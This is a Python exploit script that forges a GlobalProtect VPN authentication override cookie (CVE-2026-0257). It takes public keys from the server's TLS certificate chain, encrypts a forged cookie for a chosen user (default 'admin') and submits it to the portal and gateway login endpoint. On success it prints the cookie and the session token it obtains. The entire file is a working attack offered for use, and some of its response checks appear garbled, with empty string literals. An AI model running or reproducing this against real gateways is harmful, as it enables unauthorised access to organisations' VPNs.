""" Forge a GlobalProtect authentication override cookie using only the public key. Retrieves the CA certificate from the TLS handshake (unauthenticated), encrypts a forged cookie for the specified user, and tests it against the gateway (and optionally the portal) to bypass authentication. """ import argparse import base64 import re import ssl import socket import time import urllib.request import urllib.parse from cryptography import x509 from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding def _extract_certs_from_tls_handshake(host, port): """ Intercept raw TLS handshake bytes via MemoryBIO and parse the Certificate message to extract all certs the server sends. Works on Python 3.6+. Forces TLS 1.2 so the Certificate message is sent in plaintext. """ ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Force TLS 1.2 - in TLS 1.3 the Certificate message is encrypted ctx.maximum_version = ssl.TLSVersion.TLSv1_2 incoming = ssl.MemoryBIO() outgoing = ssl.MemoryBIO() sslobj = ctx.wrap_bio(incoming, outgoing, server_hostname=host) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) raw_from_server = bytearray() try: while True: # Always flush any pending outgoing TLS data first out_data = outgoing.read() if out_data: sock.sendall(out_data) try: sslobj.do_handshake() # Handshake complete, flush remaining out_data = outgoing.read() if out_data: sock.sendall(out_data) break except ssl.SSLWantReadError: pass except ssl.SSLWantWriteError: continue # Non-blocking peek: only recv if data is available sock.setblocking(False) try: data = sock.recv(16384) if not data: break raw_from_server.extend(data) incoming.write(data) except (BlockingIOError, socket.error): # No data yet; flush outgoing and retry sock.setblocking(True) sock.settimeout(10) out_data = outgoing.read() if out_data: sock.sendall(out_data) # Now wait for data with timeout data = sock.recv(16384) if not data: break raw_from_server.extend(data) incoming.write(data) finally: sock.setblocking(True) sock.settimeout(10) except (ssl.SSLError, socket.timeout, OSError): pass finally: sock.close() return _parse_certs_from_tls_records(bytes(raw_from_server)) def _parse_certs_from_tls_records(data): """Parse raw TLS records to extract certificates from the Certificate handshake message.""" # First pass: reassemble all handshake record payloads (type 22) handshake_data = bytearray() i = 0 while i + 5 <= len(data): content_type = data[i] record_length = int.from_bytes(data[i + 3:i + 5], "big") if i + 5 + record_length > len(data): break if content_type == 22: # Handshake handshake_data.extend(data[i + 5:i + 5 + record_length]) i += 5 + record_length # Second pass: walk handshake messages looking for Certificate (type 11) certs = [] j = 0 while j + 4 <= len(handshake_data): hs_type = handshake_data[j] hs_length = int.from_bytes(handshake_data[j + 1:j + 4], "big") if j + 4 + hs_length > len(handshake_data): break if hs_type == 11: # Certificate body = handshake_data[j + 4:j + 4 + hs_length] if len(body) >= 3: certs_total_len = int.from_bytes(body[0:3], "big") k = 3 while k + 3 <= len(body) and k < 3 + certs_total_len: cert_len = int.from_bytes(body[k:k + 3], "big") if k + 3 + cert_len > len(body): break cert_der = bytes(body[k + 3:k + 3 + cert_len]) certs.append(x509.load_der_x509_certificate(cert_der)) k += 3 + cert_len break # Found what we need j += 4 + hs_length return certs def get_all_public_keys(host, port=443): """Extract all public keys from the TLS certificate chain (unauthenticated).""" ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: s.connect((host, port)) # Python 3.10+ exposes get_unverified_chain() directly if hasattr(s, "get_unverified_chain"): der_chain = s.get_unverified_chain() return [x509.load_der_x509_certificate(der) for der in der_chain] # Fallback for older Python: parse raw TLS handshake to get full cert chain certs = _extract_certs_from_tls_handshake(host, port) if certs: return certs # Last resort: only the leaf certificate via stdlib (no full chain) with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: s.connect((host, port)) der_bytes = s.getpeercert(binary_form=True) return [x509.load_der_x509_certificate(der_bytes)] def forge_cookie(public_key, username, domain="", host_id="", client_ip="0.0.0.0", client_os="Windows"): """Forge an authentication override cookie.""" timestamp = int(time.time()) plaintext = f"{username};{domain};{client_os};{host_id};{timestamp};{client_ip}" ciphertext = public_key.encrypt(plaintext.encode(), padding.PKCS1v15()) return base64.b64encode(ciphertext).decode() def test_cookie(host, port, cookie_b64, username, context="gateway", client_os="Windows", host_id=""): """Test the forged cookie against the GP endpoint.""" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE params = { "prot": "https", "server": host, "inputStr": "", "jnlpReady": "jnlpReady", "ok": "Login", "direct": "yes", "clientVer": "4100", "user": username, "passwd": "", "context": context, "clientos": client_os, "clientgpversion": "6.0.0", "host-id": host_id, "computer": "", "os-version": "Microsoft Windows 10 Pro 64-bit", "portal-userauthcookie": cookie_b64, "portal-prelogonuserauthcookie": "", } body = urllib.parse.urlencode(params) url = f"https://{host}:{port}/ssl-vpn/login.esp" if port != 443 else f"https://{host}/ssl-vpn/login.esp" req = urllib.request.Request(url, data=body.encode(), method="POST") req.add_header("Content-Type", "application/x-www-form-urlencoded") try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read().decode() except urllib.error.HTTPError as e: return f"HTTP {e.code}" def main(): parser = argparse.ArgumentParser( description="Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257)." ) parser.add_argument("--target", required=True, help="Target GlobalProtect portal or gateway (IP or hostname)") parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)") parser.add_argument("--user", default="admin", help="Username to forge cookie for (default: admin)") parser.add_argument("--domain", default="", help="Domain for cookie (default: empty)") parser.add_argument("--host-id", default="", help="Host ID for cookie (default: empty)") parser.add_argument("--client-os", default="Windows", help="Client OS for cookie (default: Windows)") parser.add_argument("--client-ip", default="0.0.0.0", help="Client IP in cookie (default: 0.0.0.0)") parser.add_argument("--context", choices=["gateway", "portal", "both"], default="both", help="Context to test: gateway, portal, or both (default target)") parser.add_argument("--verbose", action="store_true", help="Print full response") args = parser.parse_args() # Step 1: Get all public keys from TLS chain print(f"[*] Retrieving certificate chain from {args.target}:{args.port} ...") certs = get_all_public_keys(args.target, args.port) print(f" Found {len(certs)} certificate(s) in chain:") for i, cert in enumerate(certs): cn = cert.subject.rfc4514_string() try: bc = cert.extensions.get_extension_for_class(x509.BasicConstraints) is_ca = bc.value.ca except x509.ExtensionNotFound: is_ca = False print(f" [{i}] {cn} (RSA {cert.public_key().key_size} bits, CA={is_ca})") # Determine which contexts to test if args.context == "both": contexts = ["gateway", "portal"] else: contexts = [args.context] # Step 2: Try each key until one works print(f"\n[*] Forging cookie for user '{args.user}', testing each key") success = False for i, cert in enumerate(certs): cn = cert.subject.rfc4514_string() public_key = cert.public_key() print(f"\n Trying [{i}] {cn}") cookie_b64 = forge_cookie(public_key, args.user, args.domain, args.host_id, args.client_ip, args.client_os) for context in contexts: response = test_cookie(args.target, args.port, cookie_b64, args.user, context, args.client_os, args.host_id) if context == "gateway": # Gateway returns XML with Success or config data if "Success" in response or ("" in response and args.user in response): print(f" [+] Success - Gateway accepted the forged cookie") print(f" Cookie: {cookie_b64}") if args.verbose: print(f"\n Full response:\n{response}") success = True break else: print(f" [-] Failure - Gateway did not accepted the forged cookie") if args.verbose: print(f" Response: {response}") else: # Portal returns JNLP XML with elements if "" in response and args.user in response: args_list = re.findall(r"(.*?)", response) print(f" [+] Success - Portal accepted the forged cookie") print(f" Cookie: {cookie_b64}") print(f" Auth token: {args_list[1] if len(args_list) > 1 else 'N/A'}") print(f" Username: {args_list[4] if len(args_list) > 4 else 'N/A'}") print(f" Gateway: {args_list[3] if len(args_list) > 3 else 'N/A'}") if args.verbose: print(f"\n Full response:\n{response}") success = True break else: print(f" [-] Failure - Portal did not accepted the forged cookie") if args.verbose: print(f" Response: {response}") if success: break if not success: print(f"\n[-] No key in the chain produced a valid cookie.") if __name__ == "__main__": main()